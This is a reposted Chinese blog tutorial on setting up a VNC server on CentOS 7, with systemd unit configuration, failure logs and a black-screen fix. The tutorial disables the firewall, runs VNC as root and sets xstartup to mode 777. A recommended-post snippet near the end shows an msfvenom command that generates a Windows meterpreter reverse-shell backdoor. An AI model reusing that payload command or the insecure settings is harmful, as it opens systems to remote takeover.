CentOS7安装vncserver(启动失败及连接黑屏解决办法)

转载weixin_34167043 最后发布于2017-11-09 15:11:00 阅读数 42  收藏
AutoSAR入门到精通系列讲解
将从2019年开始更新关于AutoSAR的知识,从入门到精通,博主xyfx和大家一起进步
雪云飞星
¥29.00
去订阅

一.安装

以root用户运行以下命令来安装vncserver;

yum install tigervnc-server 

同样运行以下命令来安装vncviewer;

yum install vnc

停止并禁用防火墙;

  1.  
    systemctl stop firewalld.service
  2.  
    systemctl disable firewalld.service

二.配置

vncviewer基本上不用配置;
vncserver的配置,创建一个新的配置文件,以开启1号窗口为例(也可以同时开启多个窗口,修改数字即可),方法如下:

cp /lib/systemd/system/vncserver@.service /lib/systemd/system/vncserver@:1.service

或者再增加一个窗口:

cp /lib/systemd/system/vncserver@.service /lib/systemd/system/vncserver@:2.service

编辑/lib/systemd/system/vncserver@:1.service,设置用户root相关参数,最终内容如下:

  1.  
    [Unit]
  2.  
    Description=Remote desktop service (VNC)
  3.  
    After=syslog.target network.target
  4.  
    [Service]
  5.  
    Type=forking
  6.  
    #Clean any existing files in /tmp/.X11-unix environment
  7.  
    ExecStartPre=/bin/sh -c '/usr/bin/vncserver -kill %i > /dev/null 2>&1 || :'
  8.  
    ExecStart=/sbin/runuser -l root -c "/usr/bin/vncserver %i"
  9.  
    PIDFile=/root/.vnc/%H%i.pid
  10.  
    ExecStop=/bin/sh -c '/usr/bin/vncserver -kill %i > /dev/null 2>&1 || :'

1.设置为非root用户报错:

  1.  
    [root@localhost system]# systemctl status -l vncserver@:2.service
  2.  
    vncserver@:2.service - Remote desktop service (VNC)
  3.  
    Loaded: loaded (/etc/systemd/system/vncserver@:2.service; enabled; vendor preset:
  4.  
    disabled)
  5.  
    Active: failed (Result: exit-code) since 一 2016-04-25 19:07:23 CST; 7s ago
  6.  
    Process: 10305 ExecStart=/usr/sbin/runuser -l fang -c /usr/bin/vncserver %i (code=exited,
  7.  
    status=1/FAILURE)
  8.  
    Process: 10291 ExecStartPre=/bin/sh -c /usr/bin/vncserver -kill %i > /dev/null 2>&1 || :
  9.  
    (code=exited, status=0/SUCCESS)
  10.  
    
4月 25 19:07:23 localhost.localdomain systemd[1]: Starting Remote desktop service (VNC)...
  11.  
    4月 25 19:07:23 localhost.localdomain systemd[1]: vncserver@:2.service: control process
  12.  
    exited, code=exited status=1
  13.  
    4月 25 19:07:23 localhost.localdomain systemd[1]: Failed to start Remote desktop service
  14.  
    (VNC).
  15.  
    4月 25 19:07:23 localhost.localdomain systemd[1]: Unit vncserver@:2.service entered failed
  16.  
    state.
  17.  
    4月 25 19:07:23 localhost.localdomain systemd[1]: vncserver@:2.service failed.

2.Type=forking报错,改为Type=simple

  1.  
    [root@localhost system]# systemctl start vncserver@:2.service
  2.  
    Job for vncserver@:2.service failed because the control process exited with error code. See
  3.  
    "systemctl status vncserver@:2.service" and "journalctl -xe" for details.
  4.  
    [root@localhost system]# systemctl status -l vncserver@:2.service
  5.  
    ● vncserver@:2.service - Remote desktop service (VNC)
  6.  
    Loaded: loaded (/etc/systemd/system/vncserver@:2.service; enabled; vendor preset:
  7.  
    disabled)
  8.  
    Active: failed (Result: exit-code) since 一 2016-04-25 19:09:41 CST; 6s ago
  9.  
    Process: 12367 ExecStart=/usr/sbin/runuser -l root -c /usr/bin/vncserver %i (code=exited,
  10.  
    status=98)
  11.  
    Process: 12354 ExecStartPre=/bin/sh -c /usr/bin/vncserver -kill %i > /dev/null 2>&1 || :
  12.  
    (code=exited, status=0/SUCCESS)
  13.  
    
4月 25 19:09:41 localhost.localdomain systemd[1]: Starting Remote desktop service (VNC)...
  14.  
    4月 25 19:09:41 localhost.localdomain systemd[1]: vncserver@:2.service: control process
  15.  
    exited, code=exited status=98
  16.  
    4月 25 19:09:41 localhost.localdomain systemd[1]: Failed to start Remote desktop service
  17.  
    (VNC).
  18.  
    4月 25 19:09:41 localhost.localdomain systemd[1]: Unit vncserver@:2.service entered failed
  19.  
    state.
  20.  
    4月 25 19:09:41 localhost.localdomain systemd[1]: vncserver@:2.service failed.

3.vnc viewer客户端连接黑屏

改变xstartup的权限
这个问题是很多人容易忽视的问题,也是造成连接成功后黑屏的原因之一。
在CentOS中,xstartup的文件路径为:/root/.vnc/ (可以通过locate xstartup来查看xstartup的文件路径)
所以需要执行:chmod 777 /root/.vnc/xstartup

CentOS7安装vncserver(启动失败及连接黑屏解决办法)的更多相关文章

  1. 【转】Android开发中adb启动失败adb连接异常的解决办法 offline

    原文网址:http://www.cnblogs.com/yejiurui/p/4173521.html 一.情况描述: 我们在使用eclipse开发有时候会出现adb连接异常中,有时候控制台会打印出来 ...

  2. Android开发中adb启动失败adb连接异常的解决办法

      一.情况描述:   我们在使用eclipse开发有时候会出现adb连接异常中,有时候控制台会打印出来 adb connect异常 比如会出现下面这样 : [2014-12-18 16:18:26 ...

  3. ohmyzsh的安装过程中失败拒绝连接问题的解决

    1.打开官网https://ohmyz.sh/ 在官网能看到下面的界面 有这两种自动安装的方式 个人本次选择的是: wget https://raw.github.com/ohmyzsh/ohmyzs ...

  4. VMware虚拟机中的CentOS7安装Nginx后本机无法访问的解决办法

    VMware虚拟机中的CentOS7安装Nginx后本机无法访问的解决办法 在linux上安装nginx 请参考:Linux Centos7 安装 nginx 在虚拟机centos7上安装nginx之 ...

  5. Mac开机黑屏解决办法

    开机黑屏问题 *:first-child { margin-top: 0 !important; } body > *:last-child { margin-bottom: 0 !import ...

  6. ubuntu16.04命令行模式黑屏解决办法

    ubuntu16.04命令行模式黑屏解决办法 问题描述 在ubuntu上装Nvidia的显卡驱动,需要关闭图形界面才能安装驱动,但是,出现如下情况: 使用“ctrl+alt+F1”命令进入命令行界面是 ...

  7. Ubuntu开机黑屏解决办法

    联想笔记本通过虚拟机安装Ubuntu12.04后,开机黑屏.这个问题和NVIDIA显卡有关.网上有人提到更改/etc/default/grub文件,可是我通过root身份也无法很好地修改该文件,遂放弃 ...

  8. Fedora20安装完Nvidia后启动一直黑屏解决办法。

    安装完Fedora20后,把Nvidia驱动装上后重起机器一直黑屏时,切换到命令行下:Alt+F2  登陆上去,然后直接更新: su -c ‘yum update’ ,再重起就OK了.

  9. phpnow 在win7下遇到“安装服务[apache_pn]失败”问题的一种解决办法

    安装PHPnow时如果遇到下列问题: 安装服务[apache_pn]失败.可能原因如下: 1. 服务名已存在,请卸载或使用不同的服务名. 2. 非管理员权限,不能操作 Windows NT 服务. 将 ...

随机推荐

  1. 201871030140-朱婷婷 实验三 结对项目—《D{0-1}KP 实例数据集算法实验平台》项目报告

    项目 内容 课程班级博客链接 2018级卓越班 这个作业要求链接 实验三 结对项目 我的课程学习目标 1.体验软件项目开发中的两人合作,练习结对编程:2.掌握GitHub协作开发程序的操作方法. 这个 ...

  2. msf记录

    生成backdoor msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.187.133 LPORT=6666 -f exe >/ ...

  3. Linux下禁用笔记本触摸板

    1 概述 在Linux下禁用触摸板的方法有很多,这里列举三种: 图形界面配置关闭 modprobe关闭 xinput关闭 2 图形界面配置关闭 笔者的环境为Manjaro+Xfce,其他的桌面也应该类 ...

  4. 嗝,我饱了——IDEA食用指南

    1 概述 IDEA全称IntelliJ IDEA,主要用于Java开发的IDE,代码自动提示,重构,JUnit,代码分析等的功能非常牛逼,这篇文章首先介绍目前为止IDEA最新版本的特性,然后从UI,常 ...

  5. linux 在某个路径下,查找某个文件

    find /cephfs/netdisk/ -name "*.sql"

  6. 对DiscuzQ的一些使用见解

    之前因为体验了DiscuzQ,在几番纠结后,把博客换成了DiscuzQ(以下简称DZQ). 在一个月的使用中,发现这个程序对于个人来说,十分不友好. 于是今天又换回了Wordpress. 在这里说一下 ...

  7. linux下安装并使用msgfmt命令

    msgfmt安装方法: sudo apt-get install gettext 编码 po 文件为 mo 文件: msgfmt -o test.mo test.po mo 文件反编码成 po文件: ...

  8. CentOS8 安装 MySQL8.0(yum)

    1.Mysql 官网下载 RPM 包wget https://dev.mysql.com/get/mysql80-community-release-el8-1.noarch.rpm2.检查是否已安装 ...

  9. Android常见App加固厂商脱壳方法的整理

    目录 简述(脱壳前学习的知识.壳的历史.脱壳方法) 第一代壳 第二代壳 第三代壳 第N代壳 简述 Apk文件结构 Dex文件结构 壳史 壳的识别 Apk文件结构 Dex文件结构 壳史 第一代壳 Dex ...

  10. hdu2492 数状数组或者线段树

    题意:      给你一些人,每个人有自己的攻击力,输入的顺序就是每个人的顺序,他们之间互相比赛,两个人比赛的条件是必须在他们两个位置之间找到一个人当裁判,这个裁判的攻击力必须在他们两个人之间,问你最 ...